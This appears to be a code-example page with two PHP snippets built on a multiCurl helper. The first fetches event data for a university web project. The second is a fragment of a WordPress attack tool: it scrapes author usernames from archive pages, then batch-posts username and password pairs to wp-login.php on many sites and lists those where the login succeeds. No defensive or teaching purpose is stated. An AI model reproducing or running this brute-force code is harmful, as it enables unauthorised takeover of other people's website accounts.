Esempio n. 1
0
 function dopo()
 {
     $get_par = "/richieste?scope=local&type=all&subtype=all&lat=44.495771&lng=11.344744&radius=50000&timemin=2678400&timemax=1375142400&status=all";
     //Vado a fare le richieste sugli altri server ricevendo gli eventi degli altri server
     $remote_events = multiCurl($get_par);
     //Invio il json contenente i risultati della richiesta
     $jsonData = array("request_time" => time(), "result" => "Messaggio di servizio", "from_server" => "http://ltw1309.web.cs.unibo.it", "events" => $remote_events);
     //header('Content-Type: application/json');
     //echo json_encode($jsonData);
     //echo count($jsonData['events']);
 }
Esempio n. 2
0
            preg_match_all("'archive author author-.* author-1'", $res, $user);
            $user = str_replace('archive author author-', "", $user[0][0]);
            $user = str_replace(' author-1', "", $user);
            echo $url . ";" . $user . "\r\n";
            //continue;
        }
        $i++;
    }
}
if ($_POST['do'] == 'brut') {
    $urls = array();
    $urls = $_POST['urls'];
    $urls = explode("\r\n", $urls);
    $data = array();
    $i = 0;
    foreach ($urls as $url) {
        $link = explode(";", $url);
        $redirect_to = str_replace("wp-login.php", "wp-admin/", $link[0]);
        //echo file_get_contents('http://'.$_SERVER['SERVER_NAME'].$script.'?url='.$url.'&login=admin&pass=admin');
        $data[$i] = array('url' => $link[0], 'post' => 'log=' . $link[1] . '&pwd=' . $link[2] . '&testcookie=1&wp-submit=1&redirect_to=' . $redirect_to);
        $i++;
    }
    $auth_result = multiCurl($data, $options = array());
    $i = 0;
    foreach ($auth_result as $res) {
        if (strpos($res, "/wp-admin/") && strpos($res, "Location: ") && strpos($res, "wordpress_logged_in")) {
            echo $urls[$i] . "\r\n";
        }
        $i++;
    }
}